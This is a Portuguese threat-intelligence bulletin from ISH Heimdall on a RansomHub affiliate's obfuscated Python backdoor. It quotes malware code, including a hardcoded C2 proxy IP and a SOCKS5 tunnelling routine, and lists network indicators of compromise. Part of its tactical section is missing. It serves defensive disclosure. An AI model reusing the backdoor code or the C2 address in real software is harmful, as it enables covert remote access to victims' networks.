



# BOLETIM DE SEGURANÇA

Afiliado do RansomHub utiliza Backdoor em Python para  
realizar ataques

Acesse a nossa nova comunidade através do  
WhatsApp!

## Heimdall Security Research



Acesse boletins diários sobre agentes de ameaças, *malwares*, indicadores de comprometimentos, TTPs e outras informações no *site* da ISH.

## Boletins de Segurança – Heimdall



ISH

### CONTAS DO FACEBOOK SÃO INVADIDAS POR EXTENSÕES MALICIOSAS DE NAVEGADORES

Descoberto recentemente que atores maliciosos utilizam extensões de navegadores para realizar o roubo de cookies de sessões de sites como o Facebook. A extensão maliciosa é oferecida como um anexo do ChatGPT...

BAIXAR



ISH

### ALERTA PARA RETORNO DO MALWARE EMOTET!

O malware Emotet após permanecer alguns meses sem operações retornou com outro meio de propagação, via OneNote e também dos métodos já conhecidos via Planilhas e Documentos do Microsoft Office...

BAIXAR



ISH

### GRUPO DE RANSOMWARE CLOP EXPLORANDO VULNERABILIDADE PARA NOVAS VÍTIMAS

O grupo de Ransomware conhecido como ClOp está explorando ativamente a vulnerabilidade conhecida como CVE-2023-0669, na qual realizou o ataque a diversas organizações e expôs os dados no site de data leaks...

BAIXAR

## SUMÁRIO

1	Introdução executiva.....	5
2	Estratégico .....	5
2.1	Segmento de mercado .....	5
2.2	Objetivo da ameaça .....	5
3	Tático .....	6
3.1	Informações sobre a ameaça.....	6
3.2	Capacidade da ameaça.....	6
4	Recomendações.....	8
5	Operacional.....	9
5.1	Indicadores de URL, IPs e Domínios .....	9
6	Referências .....	10
7	Autores.....	10

## LISTA DE TABELAS

Tabela 1 – Indicadores de Comprometimento de Rede. .... 9

## LISTA DE FIGURAS

Figura 1 – Ofuscação de backdoor do Python. .... 6  
Figura 2 – Endereço IP codificado. .... 7  
Figura 3 – Tratamento de erros de proxy. .... 7

## 1 INTRODUÇÃO EXECUTIVA

---

Este relatório de segurança, desenvolvido pela equipe de **Inteligência de Ameaças da ISH, Heimdall**, tem como objetivo proporcionar uma compreensão aprofundada e um dimensionamento preciso das ameaças cibernéticas identificadas. O documento está estruturado em três níveis de abordagem: **Estratégico, Tático e Operacional**, garantindo uma visão completa e integrada das ameaças e ações recomendadas.

## 2 ESTRATÉGICO

---

### 2.1 SEGMENTO DE MERCADO

Os segmentos de mercado potencialmente afetados por essa ameaça que será descrita neste relatório, incluem:

- *Tecnologia da Informação*
- *Indústrias de Serviços*
- *Saúde*
- *Educação*
- *Governamental*
- *Energia*
- *Manufatura*
- *Financeiros*
- *Logística*

### IMPACTO FINANCEIRO POTENCIAL

- *Interrupção de Operações*
- *Perda de Dados*
- *Custos de Resgate*
- *Multas e Sanções*
- *Perdas de Receita*
- *Danos à Imagem da Marca*
- *Recuperação de Sistemas*

### 2.2 OBJETIVO DA AMEAÇA

Obter acesso não autorizado a sistemas corporativos, permitindo a exfiltração de dados sensíveis e a implantação de ransomware para extorsão financeira



```
parser = argparse.ArgumentParser()
parser.add_argument('-ip', dest='proxy_ip', required=False, default='108.181.182.143')
parser.add_argument('-port', dest='proxy_port', required=False, default=443, type=int)
parser.add_argument('-debug', action='store_true')
args = parser.parse_args()
```

Figura 2 – Endereço IP codificado.

Após a segunda conexão ser estabelecida, o sistema comprometido funciona como um proxy para o endereço C2 dos agentes maliciosos. As versões analisadas do script suportam apenas tráfego TCP tunelado, sem compatibilidade com endereços IPv6. Embora os valores esperados sigam o protocolo SOCKS5, sua implementação é parcial.

```
def start_transferring(self):
    try:
        B, C, E = struct.unpack('BBB', self.service_connection.recv(3))
    except struct.error:
        pass
    else:
        if B == 1:
            if C == 1:
                try:
                    D = socket.inet_ntoa(self.service_connection.recv(4))
                except:
                    logging.info('Proxy server returned bad IPv4 address', exc_info=_A)
                    self.close()
            elif C == 3:
                try:
                    D = self.service_connection.recv(E).decode(_D)
                    logging.debug('Proxy server selected domain name as target address')
                except:
                    logging.debug('Some problems in decode procedure', exc_info=_A)
                    self.close()
            elif C == 4:
                logging.info('Proxy server selected unsupported addressing IPv6')
                self.close()
            else:
                logging.info('Proxy server selected unknown addressing')
                self.close()
            F = struct.unpack('H', self.service_connection.recv(2))[0]
            G, H = self.return_tcp_client_connection(D, F)
            self.service_connection.sendall(struct.pack(_C, 1))
            self.service_connection.sendall(struct.pack('BB', 1, 4) + socket.inet_pton(socket.AF_INET, G))
            self.CONNECT_transferring()
        elif B == 2:
            logging.info('Proxy server select unsupported operation BIND')
            self.close()
        elif B == 3:
            logging.info('Proxy server select unsupported operation UDP')
            self.close()
        else:
            logging.info('Proxy server select unknown operation')
```

Figura 3 – Tratamento de erros de proxy.

## 4 RECOMENDAÇÕES

---

Além dos indicadores de comprometimento elencados abaixo pela ISH, poderão ser adotadas medidas visando a mitigação da infecção da referida *ameaça*, como por exemplo:

### **Atualize e monitore software e sistemas**

- Certifique-se de que todos os sistemas, aplicativos e dispositivos estão com os patches e atualizações de segurança mais recentes. Isso reduz a exposição a vulnerabilidades exploradas por backdoors.

### **Utilize firewalls e IDS/IPS**

- Configure firewalls para bloquear tráfego incomum ou não autorizado. Use IDS/IPS para monitorar e identificar padrões suspeitos de comportamento na rede.

### **Implemente autenticação multifator (MFA)**

- Adote o MFA para todos os acessos a sistemas críticos, reduzindo as chances de que credenciais comprometidas sejam usadas para instalar backdoors.

### **Realize varreduras regulares**

- Use antivírus, antimalware e ferramentas especializadas para identificar softwares maliciosos, inclusive os que possam ter técnicas de ofuscação.

### **Monitore logs e eventos de sistemas**

- Configure logs detalhados e monitore eventos em servidores, endpoints e redes para detectar conexões incomuns ou atividades anômalas, especialmente com servidores externos.

### **Limite permissões e privilégio**

- Restrinja acessos administrativos e privilegie apenas o que é essencial para cada usuário ou sistema, minimizando o impacto de uma possível exploração.

### **Conscientização cibersegurança**

- Treine usuários finais e equipes técnicas para identificar phishing, engenharia social e sinais de possível comprometimento, como lentidão anormal ou processos desconhecidos.

## 5 OPERACIONAL

A ISH Tecnologia realiza o tratamento de diversos indicadores de compromissos coletados por meio de fontes abertas, fechadas e também de análises realizadas pela equipe de segurança Heimdall. Diante disto, abaixo listamos todos os Indicadores de Comprometimento (IOCs) relacionadas a análise do(s) artefato(s) deste relatório.

### 5.1 INDICADORES DE URL, IPs E DOMÍNIOS

Indicadores de URL, IPs e Domínios	
<b>IP</b>	185[.]174[.]101[.]240 38[.]180[.]81[.]153 104[.]238[.]61[.]144 88[.]119[.]175[.]65 23[.]227[.]193[.]172 185[.]174[.]101[.]69 92[.]118[.]112[.]208 37[.]1[.]212[.]18 108[.]181[.]182[.]143 92[.]118[.]112[.]143 45[.]82[.]85[.]50 108[.]181[.]115[.]171 88[.]119[.]175[.]70 5[.]8[.]63[.]178 45[.]66[.]248[.]150 173[.]44[.]141[.]226

Tabela 1 – Indicadores de Comprometimento de Rede.

Obs: Os *links* e endereços IP elencados acima podem estar ativos; cuidado ao realizar a manipulação dos referidos IoCs, evite realizar o clique e se tornar vítima do conteúdo malicioso hospedado no IoC.

## 6 REFERÊNCIAS

---

- Heimdall by ISH Tecnologia
- [Guidepointsecurity](#)
- [Thehackernews](#)

## 7 AUTORES

---

- Leonardo Oliveira Silva



heimdall  
security research

A DIVISION OF ISH